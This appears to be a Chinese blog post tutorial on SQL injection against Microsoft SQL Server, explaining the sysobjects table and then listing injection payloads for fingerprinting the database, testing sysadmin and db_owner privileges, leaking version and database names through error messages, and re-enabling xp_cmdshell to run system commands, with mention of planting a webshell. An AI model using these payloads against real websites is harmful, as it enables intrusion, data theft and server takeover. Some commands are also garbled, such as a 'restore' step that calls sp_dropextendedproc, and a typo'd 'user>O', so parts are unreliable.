美文网首页
mssql注入

mssql注入

作者: 卿酌南烛_b805 | 来源:发表于2020-07-28 23:35 被阅读0次

    msSQl注入点的基本检测

    在进行MsSQL注入点攻击时,首先要对MsSQL注入点进行一下基本的注入检测,以确定后面的攻击实施方案。系统对象表。 保存当前数据库的对象,如约束、默认值、日志、规则、存储过程等

    在sqlserver2005,sqlserver2008版本的数据库里,现在已经作为一个视图对象,在每一个数据库的系统视图中,都存在一个sys.sysobjects 视图对象。

    sysobjects 重要字段解释:

    sysObjects (

    Name sysname, --object 名称

    id int, --object id

    xtype char(2), -- object 类型

    type char(2), -- Object 类型(与xtype 似乎一模一样? 有点郁闷…)

    uid smallint, -- object 所有者的ID

    ... --其他的字段不常用到。

    )

    注:需要解释的是 xtype 和type 是一模一样的,他的数据为:

    C = CHECK 约束

    D = 默认值或 DEFAULT 约束

    F = FOREIGN KEY 约束

    FN = 标量函数

    IF = 内嵌表函数

    K = PRIMARY KEY 或 UNIQUE 约束

    L = 日志

    P = 存储过程

    R = 规则

    RF = 复制筛选存储过程

    S = 系统表

    TF = 表函数

    TR = 触发器

    U = 用户表

    V = 视图

    X = 扩展存储过程

    AF = 聚合函数 (CLR)

    FS = 程序集 (CLR) 标量函数

    FT = 程序集 (CLR) 表值函数

    IF = 内联表函数

    IT = 内部表

    PC = 程序集 (CLR) 存储过程

    PK = PRIMARY KEY 约束(type 为 K)

    SN = 同义词

    SQ = 服务队列

    TA = 程序集 (CLR) DML 触发器

    TT = 表类型

    UQ = UNIQUE 约束(type 为 K)

    该表中包含该数据库中的所有对象,如有那些表 存储过程 视图 等信息

    2.1.2 注入点类型的判断

    首先,判断是否是MsSQL注入点,可提交如下查询.

    and exists  (select* from sysobjects)

    页面返回正常,则说明为MsSQL注入点。


    2.1.3  注入点权限判断

    再检测一下当前用户的数据库操作权限,提交如下查询

    and 1=(select IS_SRVROLEMEMBER('sysadmin'))

    and 1=(select is_srvrolemember('db_owner'))

    and 1=(select is_srvrolemember('public'))

    如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。

    sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

    如果页面返回出错,则说明不具备sa权限,可用另外两条语句判断其权限。如果权限不足,可通过注入点猜解数据库内容获得管理员账号。

    DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。


    .1.4  MsSQL返回信息判断

    再提交如下查询。

    and @@version>0

    从页面返回的错误信息中,可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union

    select联合查询或盲注入攻击方法。

    此外,还可以进行如下查询检测,以获得更多的关于MsSQL注入点的信息。

    ;declare @d int  //判断MsSQL支持多行语句查询

    and (select count (1) from [sysobjects])>=0  //是否支持子查询

    and user>O             //获取当前数据库用户名

    and db_name>0              //获取当前数据库名称

    and l=convert (int,db_name ())  或1=(select db_name ()) //当前数据库名

    and 1=(select @@servername)                   //本地服务名

    and 1=(Select HAS_DBACCESS ('master'))        //判断是否有库读取权限


    用MsSQL扩展存储注入攻击

    扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的

    Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。

    检测与恢复扩展存储

    提交如下查询进行检测。

    and 1=(Select count(*) FROM master. dbo.sysobjects  Where xtype ='X' AND name = 'xp_cmdshell')

    可查看xp_cmdshell扩展存储过程是否被删除。

    and 1=(Select count(*) FROM master. dbo.sysobjects  Where name = 'xp_regread')

    可查看xp_regread扩展存储过程是否被删除。

    如果扩展存储被删除,可执行如下查询进行恢复。

    ;exec sp_dropextendedproc 'xp_cmdshell'

    上面这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。

    ;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

    该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell

    如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句。

    ;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’



    攻击中最常利用的扩展存储

    在SQL注入攻击过程中,最常利用到的扩展存储有如下几个。

    xp_cmdshell—利用此存储过程可以直接执行系统命令。

    xp_regread—利用此存储过程可以进行注册表读取。

    xp_regwrit一利用此存储过程可以写入注册表。

    xp_dirtre一利用此存储过程可以进行列目录操作。

    xp_enumds—利用此存储过程可以进行ODBC连接。

    xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。

    xp_makecab一一利用此存储过程可以创建压缩卷。

    xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。

    xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

    结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。



    相关文章

      网友评论

          本文标题:mssql注入

          本文链接:https://www.haomeiwen.com/subject/cppqrktx.html